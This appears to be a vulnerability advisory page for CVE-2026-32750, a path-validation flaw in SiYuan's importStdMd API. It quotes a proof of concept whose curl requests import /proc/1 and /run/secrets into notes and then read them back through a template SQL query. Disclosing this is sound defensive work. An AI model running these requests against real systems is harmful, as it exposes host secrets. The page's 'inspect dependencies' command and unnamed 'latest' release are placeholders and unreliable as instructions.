How to Fix CVE-2026-32750

To remediate this vulnerability, upgrade all affected SiYuan importStdMd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan fixed: Latest secure release
Upgrade github.com/siyuan-note/siyuan to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32750, inspect your project dependencies for SiYuan importStdMd:

inspect dependencies for github.com/siyuan-note/siyuan

Analyze the terminal output to locate any version of SiYuan importStdMd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-552: Files or Directories Accessible to External Parties, where the product makes files or directories accessible to unauthorized actors, even though they should not be. In SiYuan importStdMd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. ### Details File: kernel/api/import.go - function importStdMd ```go func importStdMd(c *gin.Context) { notebook := arg["notebook"].(string) localPath := arg["localPath"].(string) toPath := arg["toPath"].(string) err := model.ImportFromLocalPath(notebook, localPath, toPath) } ``` model.ImportFromLocalPath (kernel/model/import.go:784): ```go func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) { filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error { }) } ``` Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts. Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig. ### PoC ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash TOKEN="YOUR_ADMIN_TOKEN" NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \ -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])") curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}" curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}" curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}' ``` ### Impact An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted. Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.
